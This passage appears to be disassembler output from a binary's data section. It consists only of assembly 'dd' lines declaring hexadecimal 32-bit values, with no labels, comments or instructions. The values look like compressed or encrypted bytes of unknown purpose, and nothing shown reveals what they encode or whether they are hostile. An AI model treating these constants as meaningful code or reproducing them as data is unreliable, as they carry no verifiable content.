		dd 711D064h, 0CD6DCF00h, 0A35FE3ADh, 0BED00ECh,	55A77CFEh
		dd 5400EEA5h, 9193BE79h, 28A3CDh, 49DF8666h, 0A5D7013h
		dd 0A9D1F900h, 0C42398EBh, 3606001Bh, 50C9C09Fh, 11FA3AFCh
		dd 8DC15700h, 21B4D801h, 555C014Ch, 0EA26751h, 0D85821DBh
		dd 0C33FF39Ch, 0C671009Fh, 13F0748Eh, 0C2AE487Eh, 297CDB03h
		dd 1EF9B4D1h, 2CF43495h, 9268BB00h, 0C0225599h,	0ECC509ADh
		dd 0D00FE7EEh, 2C86A640h, 0B93BF829h, 686D8030h, 6ABE7E4Ah
		dd 0FE2A9860h, 0A07800EAh, 99AA2625h, 0CB2492B8h, 3D3446h
		dd 0BEFA62B6h, 3A9314Ch, 7E7F7AD2h, 70D79E11h, 898F24D6h
		dd 61988000h, 0FA6B4937h, 0B6D90031h, 0FCDCA7A5h, 0BF0075AFh
		dd 955FC64Ah, 8A2065h, 0B096FF3Ch, 0F6226314h, 994AC700h
		dd 30326FBFh, 69330B5Ch, 20208801h, 0B3B4B846h,	0A8003C90h
		dd 0F6C8559Ch, 123A15E5h, 40B78385h, 0A16BE794h, 0FB00D0F2h
		dd 0BEFEE83Fh, 2F68F8h,	2184636Eh, 7762F1D9h, 890BF91Ch
		dd 74090D5Ch, 0CD800049h, 267A3A46h, 0BE244009h, 2BCC887Ch
		dd 0E8B01707h, 28A07247h, 0D17796h, 6A4044F4h, 0D57B1A61h
		dd 573DF509h, 39B00C4h,	396469Dh, 32F8BCD6h, 5000517Fh
		dd 0ACCEFAD8h, 7A8F5BB7h, 3BA4B047h, 7592A0h, 0F940E65Ch
		dd 66341232h, 50EC8F48h, 0D3F1860h, 1E5280ACh, 8CAF24DFh
		dd 503C00A0h, 0D987309Bh, 85007F7Dh, 5FAE4993h,	50560422h
		dd 1FAFE4F3h, 0EA283Bh,	0BB64A3Ch, 6F03075h, 9435D624h
		dd 0BD152F00h, 1CB16712h, 0C736D19Dh, 0F9DA476Ah, 28009809h
		dd 3C837921h, 92690900h, 3E765AFh, 5ABD038Ah, 0A15B3727h
		dd 106C6DC8h, 0EE0F60F8h, 6062010Eh, 47FF5524h,	27420BF4h
		dd 6F80A22Dh, 26AB67CEh, 0FB3C8800h, 4479079Ah,	41D100DEh
		dd 0F0FC1290h, 90A01EA7h, 0A6133301h, 34405649h, 7A946585h
		dd 36A309C1h, 84B09CD7h, 0A5002FDFh, 0FD943A6Fh, 1D25D22Bh
		dd 29963C5h, 42C682E8h,	54534060h, 0BE3F0F00h, 507D55C2h
		dd 0C88C01D6h, 31173A24h, 0C451806Bh, 0BFC33F14h, 98B64D39h
		dd 32050F00h, 65A1946Dh, 0D8025205h, 0CCC0909Dh, 392B68h
		dd 0F0049755h, 0E3060F3Bh, 7216CD3Bh, 276A3014h, 17C31CCCh
		dd 334B000h, 28DBDF64h,	0C8A3BAh, 23D73E14h, 554CD81Eh
		dd 8118B33Ch, 3127F606h, 0D6C0227Bh, 0E44400E6h, 593C17CEh
		dd 0ED18B9C6h, 5CA02E3Fh, 9C98C8h, 229D356h, 0FA894B8Ch
		dd 76F2A000h, 0ECABFD99h, 7BF6006Eh, 3778B05Ah,	720CDB9Dh
		dd 0A05205D4h, 7CAC1E5Fh, 54D8BBE3h, 23414601h,	3B6A4D33h
		dd 69472442h, 5D1CE03Ah, 503808BEh, 0C001D067h,	0FD4EC30Bh
		dd 16F8C30h, 7B4CD765h,	0C8361CA6h, 42F8EE8Eh, 0EACD307h
		dd 0EDC0C95Eh, 7435E0h,	9C60342Eh, 552036E2h, 29041DEAh
		dd 79941FEEh, 26ED98C0h, 10C50043h, 0F4782536h,	833A33ADh
		dd 79A901E7h, 1BA41C3Ah, 17385E60h, 91C5CCh, 52CB8B6Dh
		dd 5600ACA8h, 0F9E0F512h, 1843EC09h, 0F8B836E5h, 72EA5990h
		dd 5370CA00h, 1CFCF486h, 0F23901D3h, 3A7841E4h,	4F87F42Ah
		dd 0A8D83250h, 718B9A00h, 0E5E9A177h, 0A3450025h, 94B29B7Eh
		dd 6900A4C5h, 3CEC1F0Eh, 9FE4D8h, 547868E6h, 0EDB3F520h
		dd 0CE117001h, 6EAE848Ch, 0BC94CFCh, 52D83923h,	16806A8Ah
		dd 8FE0004Eh, 6AA8B675h, 31366637h, 4534B5A0h, 150A00C8h
		dd 6DF5D380h, 2AF28981h, 5576A718h, 75CF28h, 0CCC9705Dh
		dd 567B4739h, 184C7800h, 0ECFC866Fh, 0EADF01C8h, 8842081Fh
		dd 2E98C061h, 75113Bh, 26203401h, 98440CFEh, 1F1870ABh
		dd 70607ACFh, 61DAD860h, 92D3D100h, 3123566Fh, 3BC803A8h
		dd 0AF97D95h, 4215400h,	0B6309D64h, 0FED26A9h, 93160710h
		dd 8F015015h, 6E0D84A5h, 58353A62h, 7FB9B8F7h, 0B59D018Bh
		dd 5A1B4C1Ah, 0B3B09CDBh, 0EF365443h, 0CF46E8DCh, 170405D9h
		dd 827747ADh, 3CC81634h, 0B600A93Fh, 0F2621CE0h, 5A0254h
		dd 0E4188B12h, 0BC4B0E88h, 53D1900h, 0D5D257BAh, 7FECA038h
		dd 0E6AF1643h, 0ACE2001Ah, 87C25621h, 24A0DA5Eh, 749C04E5h
		dd 0C0B08BB1h, 2FBBB4E4h, 1EC9B700h, 817A2275h,	673601C0h
		dd 2AF15765h, 84342047h, 0B8005570h, 0E2A87FF0h, 4035A6h
		dd 1ECF119Fh, 19683F50h, 5D03A100h, 63B538D6h, 6EAF0053h
		dd 46A6E87Bh, 6C00B79Ch, 6FC5623h, 139243h, 40A0AEC6h
		dd 8E42C0E9h, 7B658707h, 498F96h, 6FC9736Ch, 0D071504Fh
		dd 731F7562h, 0E4E0033Fh, 985C192h, 0F6E16FB0h,	29AE7D07h
		dd 4EA15957h, 0CEF0D69Ah, 0A0B400F4h, 0FBA7421Dh, 1A18F023h
		dd 4312D47Ah, 5C88B26Dh, 0E200B93Fh, 0DF884E0Bh, 0EE008716h
		dd 3C3B6FC8h, 2EAD5294h, 3A7C8928h, 0C474100h, 4D76D0FFh
		dd 1B108100h, 973515E2h, 7E070232h, 0B9A4F5FBh,	0AABC8080h
		dd 581C12EAh, 0FB28EBh,	0D3DC9B65h, 7CC66B7h, 7C4DB83Eh
		dd 5EE36052h, 350308FAh, 83C4F986h, 8A4FE0F1h, 2875596Dh
		dd 63C16902h, 0D44203B4h, 0A14DCAC0h, 789620B8h, 27C02990h
		dd 0C9E9EB3Dh, 3A1A4700h, 0F5D96692h, 4D11006Ch, 0B3F222D5h
		dd 0E0002A93h, 0C0C6C248h, 1E07B5A1h, 5694FC06h, 911800A4h
		dd 0F6A93D29h, 0B95FBF00h, 9663C322h, 0C9CC0039h, 7FD5148Dh
		dd 0D67DE05Ah, 332DCF00h, 0AD65E121h, 30C9FEEEh, 0E8403E8Fh
		dd 66038E5Bh, 0BB62C869h
		dd 144803C2h, 4A1032E6h, 0A3605902h, 0E8B5879Bh, 3B1D5E5Ch
		dd 0C6812578h, 4AEB4F07h, 0A847E42Fh, 0EAFC9B76h, 0E2329A00h
		dd 0A37981Bh, 22F13DD5h, 74C92500h, 0B49FBEC4h,	3ED23D0Fh
		dd 61491Dh, 38E2EBACh, 0ECFE4EF6h, 19411E7Ah, 6871A8B2h
		dd 58EAA6F0h, 81245430h, 1F850E7Eh, 0F92F0660h,	0FBA0D393h
		dd 6D3A2A8Eh, 0AB5583F7h, 847E677Dh, 0C00058E8h, 24E10920h
		dd 4700A570h, 5CD2599Eh, 3D7566h, 5EE5408Fh, 6BEBEA1Ah
		dd 0F8C3200h, 4786837Bh, 0DCDA00DEh, 0B8B6C98Dh, 76147A98h
		dd 7F02A26h, 0ED04E57Fh, 7EA44100h, 0D94F00B0h,	58AED723h
		dd 0E500E41Ch, 3863871h, 8CDE1Fh, 80DD13FDh, 1B4B8204h
		dd 0BC10CF0Fh, 6735623Bh, 0C0284001h, 85DF3048h, 0FB236FB0h
		dd 0B5030A00h, 7CAAEB1Fh, 28F660D8h, 0B2789957h, 3A2D8A12h
		dd 9440848Ch, 365D0010h, 596FECDCh, 30AE2802h, 60CA41D6h
		dd 0D1DFA0h, 0CE6A72A5h, 40BC9AC8h, 2D2461Fh, 440E4E00h
		dd 18CF7078h, 7086B269h, 4B0BDD0Ch, 4FDC3BFh, 0D080A8B2h
		dd 510F807h, 218F1C5Eh,	2D08022h, 0E03F3ABh, 97348A55h
		dd 4CF098DDh, 8D13FEFh,	71A84100h, 6524D05Dh, 7D451100h
		dd 0AE8E4676h, 0C5220099h, 0AC0BC270h, 0F5005317h, 7726CCC8h
		dd 7609BB4h, 0CFC0D107h, 753DF0F8h, 6AF6B852h, 791C5F0Fh
		dd 392983D3h, 0C0EFF878h, 11E800D1h, 45EDDD73h,	0E900943Fh
		dd 0D786A428h, 66AF5h, 90AABA31h, 39DA9344h, 950EE894h
		dd 0CD099010h, 3C9E6FA4h, 0F1921A00h, 3A123905h, 0D91B0E6Eh
		dd 0E300517Dh, 99B478BAh, 0A6055500h, 45E66B0h,	66CE4823h
		dd 2F6F7100h, 49C08BDCh, 0E96CDE01h, 0C90E6AC1h, 0F995AFCh
		dd 0F2B8F073h, 4FD6F400h, 0BB08069h, 71E7D00h, 0D8F8C8B7h
		dd 0ADCD07FAh, 30EB94E7h, 700BBA18h, 0BB7DA100h, 377627Fh
		dd 0E22B2D0Ch, 35711800h, 4C944CE8h, 0D685A304h, 305CA0h
		dd 908C9AB9h, 6E9EE1E3h, 2EBBA91Ch, 0A8CFDD80h,	3F54BD7Eh
		dd 2D0030CCh, 0ED7C46E7h, 0D22438EFh, 0F7006A82h, 4D0AAC7Bh
		dd 3E5100D4h, 527E5475h, 5300FF29h, 0F8B9AA78h,	0C8E90Ch
		dd 0AF926851h, 9582B711h, 0A9E74F01h, 88A7D8BCh, 6569CCh
		dd 6EAA6635h, 4771B48Eh, 18D98A1Bh, 7648C041h, 0C9F11F97h
		dd 8BD678h, 6A7E6B20h, 0ED7C854Ch, 66302E00h, 7CDA8986h
		dd 999D0080h, 456AA7A4h, 36F047BBh, 700B27Ch, 32439E11h
		dd 2E7F309h, 136791AEh,	88603A08h, 0B3002116h, 0EAE038A2h
		dd 18A888DFh, 1815DB82h, 2FEC634h, 6D00A6FEh, 0B59C6E5Bh
		dd 789AE17h, 3A07780Bh,	6ABC5115h, 61A860B6h, 66D25400h
		dd 0D9974249h, 0CF53072Ch, 10AB29DAh, 7BFD8872h, 420CD300h
		dd 79EB8C9Eh, 833900ADh, 56A6154Ch, 8D0048FEh, 0D726FC7Eh
		dd 36BB454h, 321838D1h,	980E5E6Ch, 603E15C4h, 61FC78D4h
		dd 847A161Dh, 9832809Ch, 9B004BE7h, 1373B785h, 0F4FEC11h
		dd 0E4A341F6h, 0F32C2760h, 2900A2B4h, 7A72DE7Eh, 75179890h
		dd 54EB00BDh, 7092C29Dh, 0AC00C334h, 0E57159E4h, 505E7E62h
		dd 0B7A08Ch, 294F3C9Dh,	117C2208h, 25D498C0h, 605EFD1Bh
		dd 40B71012h, 0D012FBD7h, 0B0C01351h, 3F57191h,	61CA7C16h
		dd 8EA0206Dh, 0B00C527Bh, 608DEC2Ch, 0EAEF1745h, 4914A40Dh
		dd 693098B6h, 0E2DFAEDh, 69F8BF41h, 4014D0A0h, 63002019h
		dd 556A04FDh, 1CF9BD15h, 7C0A8033h, 464AD900h, 0A64ED80Eh
		dd 3FE4850Bh, 5465FEh, 0A19A62C6h, 11C038F0h, 0F596955Fh
		dd 310B0024h, 0AB9064C0h, 3500A278h, 0B1065871h, 16EACF3h
		dd 4DF00BEEh, 0D0283115h, 890EE582h, 6011B13Ah,	0E2F30870h
		dd 0BC80B7B2h, 60F2D080h, 58119B64h, 0AB847400h, 0B4146492h
		dd 80084Ch, 0CF2AAF35h,	90AAEB0h, 768114A5h, 70F0D8F8h
		dd 8F7B3501h, 91E2B48Dh, 4E1489Eh, 0FD522E33h, 13870B70h
		dd 0E834E3B1h, 3AA82AC7h, 9D02BF37h, 0D876C35h,	2A2D1087h
		dd 508D181Ch, 6F73EFE6h, 0FE058500h, 9FABBE38h,	33790745h
		dd 0C1CEEA04h, 0D04FAF54h, 0CD00162Dh, 66B4A7A1h, 2928D82h
		dd 0F5608942h, 0A7C0E2ECh, 0AA00A8FAh, 8A104428h, 3B973E4Ah
		dd 13973980h, 3D58AD61h, 2FFCC062h, 452EFDDh, 16DB2800h
		dd 6495080Ch, 97550444h, 0ECA7AD83h, 31750480h,	4E90660h
		dd 5369D71Dh, 1088A90Bh, 0B62FC241h, 95727070h,	731D980h
		dd 0B44B4C04h, 0B1C9C2B3h, 900CA477h, 0DDB87CBDh, 815FCE1Fh
		dd 61D53541h, 888E33D4h, 0FD85911Ah, 38B973h, 0D2352377h
		dd 4B2447h, 0ED0E51A8h,	4F5665A6h, 14F61B4Fh, 0F12499E0h
		dd 0B28FC0Eh, 87F0A11Eh, 3B640Fh, 7C416BE8h, 1D9726FAh
		dd 856191A4h, 2CFCD496h, 99D98FC2h, 0D9278474h,	91DBB68h
		dd 0AB0460D6h, 0AFD1155Ch, 822C3890h, 4A49B8ACh, 8B28F038h
		dd 703320CBh, 24DB95F0h, 755B9770h, 690A020Dh, 21E991EBh
		dd 7F5E2D20h, 9D7509F3h, 945B4E70h, 4873D670h, 0D21054ACh
		dd 0DB3C00A0h, 232534C5h, 2CDC0050h, 85D6435Ah,	454B9B8Ah
		dd 6EFBF084h, 2A5000A4h, 3581AD63h, 3C05BD1Fh, 1FCBD94h
		dd 303987E7h, 8E2B05D1h, 0C0C388A8h, 0CCBC8F51h, 3C205490h
		dd 60EA7E1Dh, 95C78955h, 790011D0h, 0BD5D18E8h,	0BD672037h
		dd 0FEA430E3h, 5DF45432h, 0EF60E44Dh, 840BD32h,	3DE9CFFEh
		dd 0F99D050Bh, 0FA47007Ch, 69ABA813h, 31C5F800h, 103449FBh
		dd 429B2568h, 0F3950C50h, 416670ACh, 1A80681Fh,	0F6899A8Bh
		dd 0F01760ACh, 66BF1145h, 0A8E1BD78h, 0E3EE020Fh, 4C1907C0h
		dd 4B011612h, 672758F6h, 60A46448h, 5C9D81A1h, 0CA25F91Ah
		dd 24005CF1h, 0DBF674D5h, 3F3E0004h, 3D0BD269h,	0C0007F37h
		dd 91F1ABB6h, 5F40AC2Bh, 3A00A247h, 627EC126h, 32F314Ch
		dd 3C0EB039h, 814E3AB0h, 56D3B60h, 580B48F9h, 0C52314Dh
		dd 0BDEAE90Eh, 3CF993FEh, 0A090C42Ah, 9F9646F8h, 0A21830C4h
		dd 97E19095h, 360D096Dh, 3CFC61C1h, 73283740h, 13008458h
		dd 6B09E50Ch, 5FA5A316h, 0C448C9D4h, 0A76051E9h, 0E8821260h
		dd 49B86F35h, 0F75F9C60h, 0BD006EAFh, 0CD53E4DCh, 1467477h
		dd 0BE270EA4h, 0E0131D91h, 95524DE3h, 3F03ECCh,	4710382Ah
		dd 0E9890C50h, 2F688EE5h, 0CC0D4B05h, 4CFC9E93h, 2910284Ch
		dd 7C8712CAh, 855D1C08h, 0A8B697CCh, 18A74B3Ch,	1874F350h
		dd 0F13F1837h, 300E2490h, 9E5B076Ch, 18DF486Ah,	4011468h
		dd 8F656B5Ch, 99A8EDE1h, 35E42A38h, 394C02E4h, 0AB030540h
		dd 4674AC74h, 64D3091Ch, 54A40962h, 1B465E24h, 0ECEB0E16h
		dd 1D1D2070h, 5E71CD0Bh, 424B02ACh, 6F5707B8h, 901B40F8h
		dd 9B561BFh, 0DCB75DE4h, 0A8F2003Fh, 1B99EF9Eh,	48E7270Eh
		dd 0C1E41045h, 87532E60h, 9519C8A0h, 0A02EFF81h, 0AB80C78Ch
		dd 0BD06EE64h, 9E64C4E7h, 87F14060h, 11DD3B02h,	77171E31h
		dd 0B8CC35h, 0E483A192h, 14B36337h, 9C5C6E7Fh, 5C6B7C2Dh
		dd 606EFAD4h, 0A58D413h, 96EC3488h, 0F240A2E5h,	3476301Fh
		dd 5121AD0Bh, 95F0F087h, 0C6643C67h, 86E9A160h,	61F9F609h
		dd 0A7D0FB8Eh, 7840044Dh, 48643F43h, 5F70B876h,	3BC4B1D8h
		dd 0A7C81C8Eh, 556C53C0h, 0A15B006Bh, 4E4B320Dh, 2C0F3387h
		dd 0A7A865D7h, 0E3349CADh, 4C702BFEh, 0C0E43BDCh, 5BB5E2BBh
		dd 0CC9093B0h, 2D45C8A7h, 501CAC56h, 23A0D9AFh,	0F2887B8Ch
		dd 984FFEB4h, 662D6CE3h
		dd 6A00B4C4h, 5226A7DDh, 3AE0215Fh, 0ACCBEC0Ch,	0D4A38A10h
		dd 1826DE00h, 1F077F20h, 2D7018Dh, 8E4B67E4h, 465E60DCh
		dd 57FF01A0h, 8C41D5A1h, 0DC10013Fh, 6B6E018Fh,	0E0BACC1h
		dd 0B5C4DC7Eh, 4238688h, 63E90BEDh, 0EB6CC4E3h,	868B0832h
		dd 129160A4h, 0B8C34035h, 8A5F1Ch, 0B35BB73Ah, 3368B294h
		dd 77505FE8h, 0BD13D907h, 35F06F03h, 0B5534318h, 148E88C8h
		dd 0CAD1212h, 9F4020AFh, 9507EEC6h, 538B1056h, 89DB6151h
		dd 0F89B3085h, 8CEC1F3Eh, 0D84969CBh, 93148509h, 0FC7C6205h
		dd 81C2C14h, 0B60CAFDEh, 40A4F853h, 3F38DD8Bh, 9E30DC73h
		dd 1C589E90h, 4F63DB10h, 23C8F0CBh, 0BFFA54C0h,	0EAF40996h
		dd 9401C941h, 6A60494Dh, 0F9BDB40Bh, 2DB2000Ch,	3CEEA44Eh
		dd 0F0DF4225h, 0DCE0266Ch, 9501DE1Ch, 559E94BEh, 0C0846569h
		dd 500A19BBh, 297300DBh, 0FF1477B9h, 0A5F52C42h, 0CCD02FC0h
		dd 2213911Ch, 3DE80E6h,	7F8846ADh, 0CD88B22h, 751D67EBh
		dd 0F8B69869h, 4FA09810h, 0E258B310h, 348F30A4h, 8174B00h
		dd 0CF9EE205h, 0F47F5D47h, 0E8D56513h, 0EFC99EECh, 0F410ABBEh
		dd 30D2271Ch, 5D10F09h,	5020FC8Ch, 4028384Ah, 0E92F14FAh
		dd 0FD444285h, 4CF4881Ah, 20465Eh, 82029144h, 7FEEA795h
		dd 5849135h, 3AB2D5FFh,	0A62388h, 0ADD41DEh, 210114FBh
		dd 0BBBC747Eh, 9D2ABFD5h, 71082084h, 1EB7CB01h,	118EF2D5h
		dd 97BE5DE4h, 480550C4h, 703A13B3h, 0C4BC70E8h,	643E048Ch
		dd 0ABE151E9h, 8CE4C8h,	0AA9017D3h, 491FD4D9h, 4667B800h
		dd 5D9DCEABh, 4BA009E0h, 18F47B62h, 39E467Ch, 0A5C3162Ch
		dd 0B4F800DAh, 61F119C0h, 60BF4F63h, 29275A4h, 0A393C240h
		dd 0B814BE4Dh, 13FD5A58h, 0BCC8B84Ch, 0F0278CC1h, 0BFB0505Eh
		dd 0DD88940h, 0D12FDE09h, 3DD07E01h, 4B58F3DFh,	6823A82Fh
		dd 10BCC500h, 125751Bh,	0A26C05C8h, 6F5CEC07h, 0EBB4088h
		dd 6E8847CDh, 8057F5E7h, 20E4B58Bh, 0C3536C1Fh,	5B61EA81h
		dd 0A4508D32h, 0F1135A3Dh, 7F1CC93Eh, 0A223303Eh, 0B60ED800h
		dd 1213E3E6h, 0F9B771A3h, 2EB81080h, 0B04EBF77h, 91803A74h
		dd 0A0D54EE9h, 0CF6B9504h, 0DCF05659h, 82F7BD00h, 0AEB35C1Dh
		dd 201898C9h, 679F518Bh, 73255C00h, 5E50A916h, 2CCEC05Ch
		dd 0DDE86B4Dh, 2BE48670h, 87E5F300h, 0A41F817h,	9C2F5FABh
		dd 8B2DC7Ch, 7080539Dh,	96045A3Bh, 2A6A452Ch, 820F0C1h
		dd 59BB1300h, 6CCEC25Fh, 0E669D67Ch, 9B90E348h,	0ABA5A0B2h
		dd 8C6FB540h, 8EA81C5h,	0C1C8B64h, 0A8BDD040h, 27D727F3h
		dd 0ECD9EC82h, 2B283787h, 0B34A04Bh, 58CDE6A8h,	7292C52h
		dd 18C17968h, 0C5B6487Dh, 0DBAAD70Ch, 5CFC2109h, 8607F492h
		dd 42C2FF51h, 0E0D25293h, 23C8420h, 0CF2167E0h,	0A5F741D5h
		dd 4E8E5B4h, 904512CFh,	0C77CF88Eh, 97970931h, 5FF4210Ch
		dd 4200CD40h, 4275BDB8h, 6F5CF648h, 0FB362B84h,	2223C46Ah
		dd 68B6A100h, 1783185Bh, 47B9469h, 0B363AE44h, 2798606Ch
		dd 5F4D3047h, 0E0DCF60Ah, 2031556Ah, 42BF2EB8h,	0DCED5538h
		dd 77BD73C0h, 0A8B046Ah, 0FA0D7D4Eh, 254D808h, 1B4FD193h
		dd 0E516B8A0h, 434932D5h, 44024B94h, 7DFE49BBh,	0E90A5818h
		dd 0FAE1D04h, 8BBA7033h, 8C2B4B28h, 3300C523h, 4AE8AFC7h
		dd 0FC8648B7h, 80D69600h, 91EB4295h, 50D263Fh, 0BC3EB050h
		dd 0C2E2F80h, 0FCAD2D67h, 7E007879h, 20B504E2h,	2CBC0E56h
		dd 21A2439Ah, 14FD0315h, 84EDBDA8h, 0DFFE604Eh,	4E5BCF7Dh
		dd 82CA236h, 7CAE19Bh, 49F0424Bh, 7BF480D6h, 0C23B00FCh
		dd 8031ECCh, 0BE262147h, 0CB088086h, 40502D6Ah,	0E0391A45h
		dd 8C3BBAB8h, 0CBB9256h, 0B93D08BDh, 2444B577h,	821BFF00h
		dd 47C4E764h, 68E11DC9h, 0E6BE8394h, 76E0A65Bh,	0C4A267A5h
		dd 475DD962h, 60664454h, 752F919h, 0EAEB8748h, 985F4999h
		dd 8119F098h, 9900D372h, 98C477A4h, 1C3336Bh, 0AB0D6899h
		dd 80162DFAh, 314DCB7Ch, 9BAC043Eh, 2CEF14B4h, 93B7CD01h
		dd 0E05F87E4h, 0C55C419Bh, 8C67F864h, 4C4A7700h, 7F1C8620h
		dd 279893ECh, 0D07B20DBh, 3DF9E7DFh, 980184C8h,	5B0741C3h
		dd 97946D37h, 8FC2B8E8h, 89550E09h, 511CF618h, 77F41210h
		dd 0B560A06Dh, 2899E1DFh, 0ABD0A05h, 4DC31634h,	4975879Ch
		dd 40FCA994h, 683777E9h, 3600B11Dh, 0A5DF5C55h,	0BF654C56h
		dd 8E905134h, 0C0C18830h, 0C59A0156h, 13804A4Ch, 5CF87FF7h
		dd 0F2C0E2F4h, 0E81330C8h, 3F8F400h, 0F09BD60Bh, 7F481837h
		dd 40EF6879h, 0C480C79Fh, 0C3326164h, 0B39DE0h,	0F0B9BCDh
		dd 0BB141B58h, 82B24125h, 0EDF56D90h, 0FAE2C084h, 6438AB60h
		dd 0B79E055Bh, 4CF01F27h, 0ECD09D61h, 958C669Fh, 5970F0DBh
		dd 0D415015Fh, 6ECABA99h, 5BC80B6h, 19542CADh, 4C2D00B2h
		dd 1B0D6D1Eh, 4F29EC5h,	0FC9C6A12h, 8152C808h, 0D3E90DB5h
		dd 58DBD81Bh, 0ABA0C897h, 0C05DE2BBh, 0A66569B0h, 4D951B04h
		dd 58EFC0DCh, 5C2F697Fh, 18B08921h, 0E442251Ch,	0CD262420h
		dd 49D504A4h, 0E21CA1C4h, 0E07CCD57h, 49C6F32Eh, 854A700Ah
		dd 0A904B8F2h, 3AAF05E0h, 0FC223D0h, 158E6EB3h,	2FE069DBh
		dd 48020B4Bh, 9CFF163Dh, 70685594h, 5D0E194Eh, 45D81E6Dh
		dd 28B974A8h, 0FC24CE00h, 0B5FF716h, 0D6151B13h, 87C410BCh
		dd 24B41080h, 0D70B40A1h, 106C5E8Bh, 34CC5FC3h,	12E97C0Bh
		dd 0FA3BFC3Ah, 908BFC74h, 79C3A788h, 5E4598F7h,	86CD00D8h
		dd 99119B5h, 2097BD7Eh,	0A1D13770h, 88899B9h, 0A42473B3h
		dd 43293108h, 9FA80F87h, 6D9F4E70h, 97F2C0B0h, 0DC53803Eh
		dd 0B26C00ACh, 0BB57C87Ah, 0F146026Fh, 0DB082491h, 94C4477h
		dd 50777A49h, 0C33EA685h, 0AE9003BFh, 2A12596Eh, 6EFADC10h
		dd 0E08B00D0h, 1340F221h, 59FD274Ah, 0F3A7BCF1h, 0D4D270D4h
		dd 15BFCC02h, 82E165C3h, 5C7F35F0h, 0E0B47084h,	58D89384h
		dd 0E20C896Dh, 19BD3465h, 7CBC039Fh, 91E4E110h,	0FFF1F0E9h
		dd 0C8328C90h, 3A485048h, 7FD4117h, 4B095DE0h, 0C85CCB96h
		dd 1A2C0C2h, 0E12507A4h, 5F2CE2C5h, 0B00004Ch, 0D7661B8Bh
		dd 9A56EC9Ch, 964D94h, 0D44AD9BDh, 0E1258FEBh, 0DE88481h
		dd 5C461882h, 7C7CC978h, 55D60BDCh, 4FC4311h, 0FBC1F0C0h
		dd 0E1894FEBh, 0B0F32BECh, 8E3065B2h, 64140971h, 90DFA4C4h
		dd 26A3FCh, 9730859Dh, 8F0BEBD9h, 0A27F4200h, 8E4194C3h
		dd 0F22400B4h, 759F90Ah, 5C1805F5h, 73419A30h, 5AF9C010h
		dd 341415E5h, 0FA3DA305h, 0ECC28C96h, 0F5406A1Fh, 0FB8A5805h
		dd 20CFF032h, 0FCE449BBh, 0F50AAC02h, 0C2FB9330h, 94987745h
		dd 0EA805EEFh, 0BFD00BDh, 0AEFFAAE5h, 6704AB2Ch, 2473D9BAh
		dd 80EC92BEh, 2B131C66h, 0F4F9B843h, 0B4859308h, 8A86425h
		dd 665347D7h, 6DD80204h, 5D8038ECh, 676E61D9h, 9F4EDC00h
		dd 0FA55C82Bh, 2C36EE1Eh, 443C869Ah, 7818A95Bh,	6CECE94Eh
		dd 902E040h, 2EFDF167h,	0E94C31DDh, 54C02161h, 255278D7h
		dd 5890961Dh, 0DA5B31BBh, 3368AC44h, 759B051Fh,	0C424FBB6h
		dd 0DA5C8C80h, 207358E8h, 3E070601h, 7E8EA77Eh,	23B6C4D2h
		dd 612FF495h, 0C28F2E0h, 0B33DD991h, 40253588h,	5DA0C257h
		dd 200A0E4h, 6C105563h,	12A4284h, 0CB76A0EDh, 30566923h
		dd 0B840BAE8h, 0E70E1607h, 0EFB0844Dh, 88299871h, 0CDFEC0h
		dd 95346E38h, 0E431A908h
		dd 0C19CEC04h, 44822F70h, 0D8A3FD74h, 0B80207Fh, 9B2A142Bh
		dd 0D5088829h, 1809A469h, 938AD173h, 5B59013Bh,	0C3B270E3h
		dd 2CA2C30h, 61D58637h,	0B891319Ch, 80E22A85h, 4791F00Eh
		dd 92BCEC97h, 2C6EEBh, 28C8889Fh, 2BE73E1h, 18FEAEDh, 0A07DB1A6h
		dd 65ADFE84h, 0ECC29DA8h, 73AA059h, 93175810h, 6732013Bh
		dd 3E2E3772h, 0C623CCh,	87F5749Fh, 1409785Ah, 41CDD18Fh
		dd 5CF2A8B8h, 6825D6C4h, 6F20F643h, 1A554589h, 59A47998h
		dd 2C74181Ch, 94443Eh, 1FD5D205h, 568256F3h, 2346FED0h
		dd 8FAB6E00h, 9B738043h, 0C41EF707h, 5D096975h,	0CC45A809h
		dd 4462A3E4h, 52F55360h, 0D315BC17h, 478ED8ECh,	0CC85E29h
		dd 0FD82B04Eh, 0B7DF0092h, 2E1E0368h, 9D8BA3EAh, 0F1789BB0h
		dd 0AD138738h, 0AD841816h, 675F250Fh, 0D6F1BCF2h, 0AC905D09h
		dd 8F0117AFh, 0B9A912CFh, 2A2EDB89h, 84F65AB0h,	0E4A531E1h
		dd 0CC057975h, 12D227BAh, 0E45B091h, 4B8DC3C4h,	654088B3h
		dd 60D8EFB7h, 1EA3BF69h, 51975490h, 181AF1B8h, 9110BDEh
		dd 58FCA202h, 694D66E0h, 0DCF09DC8h, 0B583E150h, 0AD64B90Eh
		dd 0C009F3ABh, 42AC7185h, 0CF7D502Bh, 83F94384h, 0A315E8B8h
		dd 58CE0534h, 0BAA2C8ACh, 0DC98FC2Bh, 8402EA77h, 6093CD6Ch
		dd 5414FFB7h, 47F85445h, 4D77442Bh, 87F84927h, 2590F040h
		dd 0B28B1836h, 58D09738h, 0B4E0944Fh, 6D558A0Fh, 0E81EC034h
		dd 27FDA33h, 0FFD17404h, 0D8E59199h, 77C0882Fh,	8147A500h
		dd 0C9383969h, 44A00048h, 0E0760FF9h, 9427E303h, 0A7F0F3CAh
		dd 0D488DCh, 0F02449F3h, 592C1675h, 8FE10902h, 0CAB5A9E9h
		dd 0E0987D9Ch, 0DB1D3D44h, 0F5134590h, 0A402386Eh, 0FFE801CBh
		dd 0A5E1ABC3h, 209D7F73h, 88B71430h, 0B01A792h,	0E6495E44h
		dd 48717452h, 4BEA08E0h, 80D0AC56h, 0C58E343Bh,	8F260EDDh
		dd 68A025E7h, 8DB390F2h, 16615219h, 0E43A1591h,	0D8B664B4h
		dd 0FA395B89h, 0D249386Ch, 5E8B0209h, 58B755h, 5797A915h
		dd 5405917Ah, 0E5D98FDBh, 7DABA8D2h, 0B77FEC12h, 0AE0B0920h
		dd 129487D5h, 40605C7Bh, 48C621DCh, 7F181300h, 0D4FC19FFh
		dd 88954868h, 66787709h, 99810C79h, 4F9627BDh, 0A94A6822h
		dd 12DCAC9Ch, 0EA3C8B15h, 6823343Eh, 5D66E100h,	0A18D0B3h
		dd 34B4A432h, 4F8C40ECh, 0C8774874h, 70FFCD01h,	603A2D1Eh
		dd 92052E8h, 0C9A3140Dh, 2FA73C41h, 547B6452h, 0A7C03E00h
		dd 41F90C17h, 44DFE516h, 0F28358ACh, 6DB0E771h,	553293B4h
